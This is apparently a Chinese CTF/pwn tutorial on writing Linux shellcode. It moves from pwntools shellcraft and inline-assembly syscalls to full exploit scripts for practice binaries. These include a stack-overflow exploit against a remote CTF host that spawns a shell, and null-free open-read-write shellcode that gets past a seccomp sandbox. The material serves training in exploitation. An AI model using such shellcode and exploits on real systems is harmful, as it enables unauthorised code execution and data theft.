• 这里详细介绍一下shellcode可以怎么生成,怎么编写
  • 注意本篇文章侧重点在如何写shellcode,并不会详细介绍汇编

介绍

  • shellcode:是一段专门为利用计算机安全漏洞而编写的机器码,通常是为了在目标系统上执行命令或启动一个新的 shell(因此得名 “shellcode”)。

  • 在一开始没有汇编基础的时候可以先使用pwntools内置的自动生成shellcode的脚本进行编写,然后直接发送,这样就可以getshell。但是这毕竟是脚本生成的东西,在一些题中对shellcode没有限制的情况下还是能使用的。

  • 如果在一些shellcode被限制的情况下就没办法使用脚本生成了,这个时候就需要自己编写shellcode

基础

pwntools生成

  • pwntools有自带的生成shellcode的工具,生成的代码格式如下,了解该代码就可以进行实战。做出题目level_1_shellcode
  • 在使用pwntools生成shellcode的时候注意以下问题
    • 请使用虚拟机执行该脚本,而不要使用windows上的Pycharm工具,因为可能没有汇编器
    • wsl或者VM的虚拟机上运行,确保有汇编器,如果没有使用该指令安装sudo apt install binutils
1
2
context.arch = 'i386'   # 指定cpu架构,
a = asm(shellcraft.sh()) # 生成shellcode,返回汇编语句

编写shellcode基础

  • 通常编写shellcode并不是直接写汇编代码
  • 通常采用内联汇编的形式。什么是内联汇编:内联汇编可以直接理解为在C代码中嵌入汇编代码。注意并不是所有编译器都支持这么做。但GCC支持在C代码中直接嵌入汇编代码
  • 内联汇编的关键字为asm,里面汇编代码的形式采用AT&T的汇编格式而不是采用Intel的汇编格式(Linux下)。内联汇编的规定如下
    • 指令必须用双引号引起来,无论双引号中是一条指令或多条指令
    • 一对双引号不能跨行,如果跨行需要在结尾用反斜杠\转义。
    • 指令之间用分号; 换行符\n或换行符加制表符\n \t分隔。
    • 寄存器前面加前缀%,立即数前面加前缀$,操作数由左到右的顺序,但是在C语言中。
    • 但是在GUN C编译器中%会被当做操作数的占位符,所以这就导致%rax等寄存器会在GUN C编译器中编译时会解析失败,这时在我们编写的时候就要使用%%rax(即俩个%)表示rax寄存器,但是一般shellcode我们在Python脚本中写会更方便一点。

系统调用

  • 在Linux32位下,int 0x80是其系统调用命令,其机器码为\xCD\x80
  • 在Linux64位下,syscall是其系统调用命令,其机器码为\x0f\x05
  • 简单介绍一下Linux的系统调用号对于32位的系统调用号:
1
2
3
4
5
3 read
4 write
5 open
6 close
11 execve
  • Linux64位的系统调用号:
1
2
3
4
5
0 read
1 write
2 open
3 close
59 execve

编写基础1

level_1_/bin/sh

  • 打开ubuntu虚拟机,直接vim创建一个c文件,即可开始编写
  • 需要使用sudo权限编辑该c文件,刚刚上手写会出现很多错误,问AI慢慢排错
  • 写完该内联汇编后就可以做level_2_shellcode的题目了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
int main()
{
char* a= "\x2f\x62\x69\x6e\x2f\x73\x68";
asm( "xor %%rax,%%rax;"
"movq $59,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"xor %%rdx,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax"
);
return 0;
}
# gcc -o level_1_shellcode level_1_shellcode.c

level_2_write

  • 使用内联汇编,通过系统调用将hello world打印在终端上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
int main(){
char *a="hello world!";
asm("xor %%rax,%%rax;"
"movq $1,%%rax;"
"movq $1,%%rdi;"
"movq %0,%%rsi;"
"movq $0x10,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax","%rdx","%rsi"
);
return 0;
}
# gcc -o level_2_shellcode level_2_shellcode.c

level_3_open

  • 使用内联汇编打开flag文件,先在当前目录下创建一个flag文件,写入一些内容
  • 为了验证flag文件是否被打开,我使用read函数将该文件读到一个字符串中,并打印出来;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include <unistd.h>
int main()
{ long long int c;
char b[32]={0};
char *a ="./flag";
asm("xor %%rax,%%rax;"
"movq $2,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"movq $400,%%rdx;"
"syscall;"
"movq %%rax,%1"
:
:"r"(a),"r"(c)
:"%rdi","%rax","%rsi","%rdx"
);
read(3,b,sizeof(char)*0x20);
printf("%s",b);
return 0;
}
# gcc -o level_3_shellcode level_3_shellcode.c

level_4_read

  • 使用内联汇编写入aaaa到指定字符串上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<unistd.h>
int main(){
char a[10]={0};
asm("xor %%rax,%%rax;"
"xor %%rdi,%%rdi;"
"movq %0,%%rsi;"
"movq $10,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rdx","%rsi","rax"
);
a[9] = '\0';
printf("%s",a);
return 0;
}

level_5_orw

  • 完成该level,就可以完成题目level3了。

  • 使用内联汇编通过系统调用,打开flag文件,读取flag文件到指定字符串上,打印出flag文件里面的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdio.h>
int main(){
char a[20]={0};
char *b ="./flag";
asm("xor %%rax,%%rax;"
"movq $2,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"movq $400,%%rdx;"
"syscall;"
:
:"r"(b)
:"%rdi","%rax","%rsi","%rdx"
);
asm("xor %%rax,%%rax;"
"movq $3,%%rdi;"
"movq %0,%%rsi;"
"movq $20,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rdx","%rsi","rax"
);
asm("xor %%rax,%%rax;"
"movq $1,%%rax;"
"movq $1,%%rdi;"
"movq %0,%%rsi;"
"movq $0x20,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax","%rdx","%rsi"
);
a[19] = '\0';
return 0;
}

编写基础2

  • 在有些题目中,将汇编指令转换为字节码的过程中不能出现\x00。因为会导致截断,这里就来编写一下一些避免\x00字节的汇编
  • 完成该编写后,就可以开始做题目level4

题目

level_1_shellcode

  • 题目来源:PolarD&N (polarctf.com),pwn简单题部分,Easy_Shellcode

  • 下载:https://wwsq.lanzoue.com/i7vjd29q8aef 密码:b72p

  • 前置知识:学会ret2text就可以了

  • 拿到题目附件发现就一个ELF文件,先检查保护机制

    • 发现是i386架构
    • 然后保护都没开
    • Stack: Executable:这个是栈可执行,一般来说栈上的数据可读可写的,但是并不能做为代码执行。
    • RWX: Has RWX segments:这个是程序段具有可读、可写、可执行的权限,一般不同部分的程序段权限是不一样的,比如bss段一般是只有可读可写不可执行的权限。本题只是比较简单的shellcode题目,所以权限没有设置很死,或者很宰

image-20240911095731408

level_1分析

  • 使用IDA打开这个32位文件

  • 先从main函数开始看,发现main函数没有什么东西,只有一个init初始化和start函数,那么主要看start函数

image-20240911100748881

  • 进入start函数,查看一下代码,发现有两个输入点,一个是向str输入0x100str的地址位于.bss

image-20240911100848192

  • 还有一个是向栈上的buf输入0x100字节,但是buf的长度达不到0x100所以存在栈溢出

  • 这时我们可以将shellcode注入到str中,然后使用ret返回到str处,执行shellcode,即可得到shellcode。其实这题也可以当做ret2libc来写。

  • 结合前面使用pwntools生成的shellcode,可以直接得到shellcode

1
2
3
4
from pwn import *
p = remote("120.46.59.242",2071) # nc 120.46.59.242 2123
context.arch = 'i386'
a = asm(shellcraft.sh())
  • 这时变量a就是一串由汇编代码组成的字节码
1
a = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
  • 剩下的就是接收发送问题了

level_1利用

  • 这里利用的时段可执行权限,写入shellcode,然后再返回到shellcode地址,执行shellcode
  • exp:
1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("120.46.59.242",2096) # nc 120.46.59.242 2123
context.arch = 'i386'
a = asm(shellcraft.sh())
print(a)
payload = a
p.sendlineafter(b'Please Input:\n',payload)
payload = b'a'*(0x68+0x4) + p64(0x804A080)
p.sendlineafter(b'What,s your name ?:\n',payload)
p.interactive()

level_2_shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>

int main()
{
void *p = mmap(0x20240000, 0x1000uLL, 7, 34, -1, 0LL);
void (*a)(void);
puts("shellcode:");
read(0,p,0x100);
((void (*)(void))p)();
return 0;
}
// gcc -o level_2_shellcode level_2_shellcode.c

level_2分析

  • 先使用IDA反编译一下该段代码。程序逻辑就是开辟一段内存空间,让用户写入shellcode,最后再执行shellcode。

image-20241125121319179

  • 这时我们直接在Python中进行内联汇编。在Python脚本中写shellcode的格式基本如下(注意需要指定架构),但是在Python中输入汇编语句可以使用更为熟悉的Intel格式。
1
2
3
4
5
6
7
8
9
from pwn import *
context(arch = 'amd64')
p = process('./level_2_shellcode')
a = asm("""
xor rax,rax
""")
payload = a
p.sendline(payload)
p.interactive()
  • 我们所写的shellcode,在这里就是要进行系统调用,然后执行execve("/bin/sh",0,0)

  • 所以我们需要syscall这个系统调用语句,然后还需要系统调用号59 execve,以及/bin/sh字符串、还有指定俩个寄存器参数为0

  • 这时我们需要往栈上传递字符串/bin/sh,将马上将rsp所指地址赋值给rdi,然后指定rsi、rdi0,还要将59赋值给rax,最后才能进行系统调用syscall。这才完整的指向了execve("/bin/sh",0,0)

  • 这里注意/bin/sh的ASCII码为0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68,但是由于程序是小端序存储并且栈是由高地址向低地址生长,所以将/bin/sh压入栈中的时候要/hs/nib/以这样的形式去压入栈中

  • 还要注意的一点就是,不能直接将立即数压入栈中,要借助寄存器,将立即数分成8字节或者4字节逐一压入栈中

level_2利用

  • 利用如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch = 'amd64')
p = process('./level_2_shellcode')
a = asm("""
mov rbx,0x0068732f6e69622f
push rbx
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
""")
payload = a
p.sendline(payload)
p.interactive()
  • 执行该程序后就可以getshell了

image-20241125123900241

level_3_shellcode

level_4_shellcode

level_4分析

  • 首先我们先来看一下保护机制,没有开pie,也没有开Canary,部分got表可写

image-20241125184016385

  • 接下来使用IDA进行逆向分析
    • 该程序先初始化了一下,然后再设置沙箱
    • 调用dofunc()函数
    • 最后再去执行buf2地址里面的内容

image-20241125184059305

  • 接下来我们查看dofunc()函数中的运行逻辑,开启了buf2的可执行权限,然后将用户的输入复制到buf2中(这就给了我们写shellcode的空间)

image-20241125184334888

  • 现在我们再查看沙箱,发现这个沙箱只禁用了execve这个系统调用

image-20241125184422346

  • 所以本题的思路就是orw,写shellcode,但是这里要注意 strncpy函数,该函数会逐个字节复制,并且在复制的过程中碰到\x00字符就会停止复制了。所以在写shellcode的时候一定要避免出现\x00

level_4利用

  • 这时我们就要进行open、read、write的系统调用,结合编写基础一的5个level,就可以构造出来一个shellcode(在Python脚本中写使用的是Intel格式的汇编)

  • 先一步一步来,使用open函数打开当前目录下的flag文件(如果当前目录下没有flag文件,就自己创建一个flag文件)

  • 我们在调用open函数的时候

    • 我们先要有./flag这个字符,这时我们可以借助栈来注入该字符,将这个字符串转换为小端序存入寄存器当中,再使用push指令将该寄存器中的值压入栈中
    • 然后再调整参数调用相关的寄存器,使其能够成功打开./flag文件
1
2
3
4
5
6
7
mov rbx,0x000067616c662f2e
push rbx
mov rdi,rsp
xor rsi,rsi
mov rdx,400
mov rax,2
syscall
  • 然后再使用read函数将该flag字符串读入到程序内存地址中,即读入到.bss段中,使用vmmap命令查看得到.bss段位于0x404000-0x405000之间

image-20241125190054515

1
2
3
4
5
mov rdi,3
mov rsi,0x404500
mov rdx,100
xor rax,rax
syscall
  • 接下来就是write将flag输出到屏幕上
1
2
3
4
5
mov rdi,1
mov rsi,0x404500
mov rdx,0x100
mov rax,1
syscall
  • 但是我们来查看一下我们所写的shellcode在字节码的时候会不会有\x00,发现了一堆\x00字符串,这时我们就需要改善我们的shellcode(让shellcode在结束之前不能出现\x00字符串)

image-20241125192524081

  • 这时我们就要另辟蹊径,不直接将./flag使用push输入到栈上,而是使用syscall调用read将让用户输入./flag到栈上,从而达到与压栈一样的效果,并且我们将寄存器置0,就需要使用xor指令,xor rax rax
1
2
3
4
5
xor rax,rax
xor rdi,rdi
mov rsi,rsp
add rdx,0x8
syscall

image-20241125193931949

  • 然后再使用open打开文件,在调用open打开文件,打开文件的过程中又出现了\x00字符截断,所以我将mov rdx,0x28指令换成add rdx,0x20
  • 这时候我注意到,不能有mov 寄存器,立即数这一个指令一用该指令就会出现\x00字符串,最好是使用xor 寄存器,寄存器 将寄存器置0后使用add命令,或者是用sub命令

image-20241125194224549

  • 所以我在调用read之前先使用read,将.bss段上的地址写入栈上(其实也可以直接将flag写在栈中),这样就可以成功读取flag的值了,并且把flag读入到了.bss段上
1
2
3
4
5
6
7
8
9
10
11
xor rax,rax
xor rdi,rdi
mov rsi,rsp
add rdx,0x8
syscall
xor rdi,rdi
add rdi,3
pop rsi
add rdx,0x70
xor rax,rax
syscall

image-20241125203431228

  • 最后一步就是调用write函数,将.bss段上的内存打印到屏幕上,一些寄存器的值是通过动态调试得到的,因为在本地是比较好进行动态调试的,更容易看到寄存器的值,所以会更容易些shellcode
1
2
3
4
5
xor rdi,rdi
add rdi,1
xor rax,rax
add rax,1
syscall
  • 最后通过编写orw的shellcode,成功的得到了flag

image-20241125203959575

  • exp如下:
  • 注意:在打远程的时候由于版本的原因或者一些情况,存在寄存器的值和动调时寄存器的值不一样,所以尽量在执行add指令之前,先执行xor 对寄存器置0,以便更清楚寄存器的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(arch = 'amd64',log_level='debug')
p = process("./level_3_ret2shellcode_orw_x64")
#gdb.attach(p)
a = asm("""
xor rax,rax
xor rdi,rdi
mov rsi,rsp
add rdx,0x8
syscall
mov rdi,rsp
xor rsi,rsi
add rdx,0x20
sub rax,6
syscall
xor rax,rax
xor rdi,rdi
mov rsi,rsp
add rdx,0x8
syscall
xor rdi,rdi
add rdi,3
pop rsi
add rdx,0x70
xor rax,rax
syscall
xor rdi,rdi
add rdi,1
xor rax,rax
add rax,1
syscall
""")
payload = a
p.sendline(payload)
payload1 = b'./flag\x00'
pause()
p.sendline(payload1)
pause()
payload2 = p64(0x404500)
p.send(payload2)
p.interactive()